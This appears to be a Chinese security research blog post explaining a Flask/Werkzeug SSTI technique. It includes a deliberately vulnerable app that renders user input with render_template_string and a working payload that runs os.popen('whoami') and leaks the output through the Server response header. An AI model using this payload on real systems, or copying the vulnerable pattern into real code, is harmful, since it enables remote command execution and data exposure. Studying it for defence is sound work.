前言
本人在研究flask的SSTI打内存马时偶然发现的一个外带方式
环境搭建
app.py
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
分析
在研究ssti打内存马的时候,突然注意到了响应包返回的header
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.10
Date: Wed, 02 Oct 2024 10:46:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: close
server头打印出了Werkzeug和python的版本号,我当时猜测这俩玩意是硬编码在代码中,flask在处理数据的时候从已定义好的属性中直接获取出来然后添加在请求头里。
flask中的Server
这里先介绍一下flask中的server,一共有三个,分别是
- ThreadedWSGIServer
- ForkingWSGIServer
- BaseWSGIServer
其中BaseWSGIServer是另外两个Server的父类
当时我发现这些的时候,没想到flask中的server存在这么多种,毕竟flask的启动很简单,app.run
就行了,随后我去研究了一下app.run
主要代码如下,上面有一些对参数处理的代码这里没放出来
app.run
重点看一下这个
options.setdefault("use_reloader", self.debug)
options.setdefault("use_debugger", self.debug)
options.setdefault("threaded", True)
reloader和debugger都是根据我们run时的debug参数是否为true来判断的,还有一个threaded为true我们需要记住,后面会考
然后把这些参数都放进了options中,options又传入了run_simple方法
run_simple
只看关键代码
这里又调用了一个方法make_server
,那么决定启动为哪一个Server的代码应该就在里面了
make_server
def make_server(
host: str,
port: int,
app: WSGIApplication,
threaded: bool = False,
processes: int = 1,
request_handler: type[WSGIRequestHandler] | None = None,
passthrough_errors: bool = False,
ssl_context: _TSSLContextArg | None = None,
fd: int | None = None,
) -> BaseWSGIServer:
"""Create an appropriate WSGI server instance based on the value of
``threaded`` and ``processes``.
This is called from :func:`run_simple`, but can be used separately
to have access to the server object, such as to run it in a separate
thread.
See :func:`run_simple` for parameter docs.
"""
if threaded and processes > 1:
raise ValueError("Cannot have a multi-thread and multi-process server.")
if threaded:
return ThreadedWSGIServer(
host, port, app, request_handler, passthrough_errors, ssl_context, fd=fd
)
if processes > 1:
return ForkingWSGIServer(
host,
port,
app,
processes,
request_handler,
passthrough_errors,
ssl_context,
fd=fd,
)
return BaseWSGIServer(
host, port, app, request_handler, passthrough_errors, ssl_context, fd=fd
)
这里对server开启的条件进行了判断,结合前面的options.setdefault("threaded", True)
我们可以得出结论,flask的默认开启server为ThreadedWSGIServer
,然后用于处理请求的handler这里也是被默认为WSGIRequestHandler
那么接下来我们该去找哪个地方就一清二楚了
调试
看了一圈server类下面的代码,发现没有多少处理请求的部分,应该是都主要集中在handler上面了
werkzeug.serving.WSGIRequestHandler
在write方法发现了处理header的部分逻辑
def write(data: bytes) -> None:
nonlocal status_sent, headers_sent, chunk_response
assert status_set is not None, "write() before start_response"
assert headers_set is not None, "write() before start_response"
if status_sent is None:
status_sent = status_set
headers_sent = headers_set
try:
code_str, msg = status_sent.split(None, 1)
except ValueError:
code_str, msg = status_sent, ""
code = int(code_str)
self.send_response(code, msg)
header_keys = set()
for key, value in headers_sent:
self.send_header(key, value)
header_keys.add(key.lower())
# Use chunked transfer encoding if there is no content
# length. Do not use for 1xx and 204 responses. 304
# responses and HEAD requests are also excluded, which
# is the more conservative behavior and matches other
# parts of the code.
# https://httpwg.org/specs/rfc7230.html#rfc.section.3.3.1
if (
not (
"content-length" in header_keys
or environ["REQUEST_METHOD"] == "HEAD"
or (100 <= code < 200)
or code in {204, 304}
)
and self.protocol_version >= "HTTP/1.1"
):
chunk_response = True
self.send_header("Transfer-Encoding", "chunked")
# Always close the connection. This disables HTTP/1.1
# keep-alive connections. They aren't handled well by
# Python's http.server because it doesn't know how to
# drain the stream before the next request line.
self.send_header("Connection", "close")
self.end_headers()
大概就是将之前response中添加的header头放进send_header处理流程中,然后也发送了Connection这种常见请求头
这里直接点进send_header方法中打下断点,其中该方法存在于WSGIRequestHandler
的父类BaseHTTPRequestHandler
开启调试
然后第一个就是Server头,这里看调用栈回到上个代码,
找到了Server头的值是从self.version_string()出来的,看了看version_string方法,其实就是直接将server_version属性和sys_version属性拼接在一起的
既然是以属性形式存在类中,那我们就可以利用一些赋值方法来将我们代码或是命令执行的回显放在这个属性中,然后随着请求头的send,我们命令执行的结果也便会出现在响应包中。
然后有趣的一点来了 WSGIRequestHandler的server_version其实是方法
class WSGIRequestHandler(BaseHTTPRequestHandler):
server: BaseWSGIServer
@property
def server_version(self) -> str: # type: ignore
return self.server._server_version
我一开始以为不能在ssti中简单的利用setattr这种来对其进行赋值(因为lambda匿名函数表达式不被jinja2引擎解析),但实则他前面有一个这个@property
简单的介绍一下@property吧
它把方法包装成属性,让方法可以以属性的形式被访问和调用
那意思其实就是,这个方法其实就等同于下面这种
self.server_version=self.server._server_version
所以我们可以直接给他赋str类型的值
外带
payload
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
同样的,sys_version也是可以改的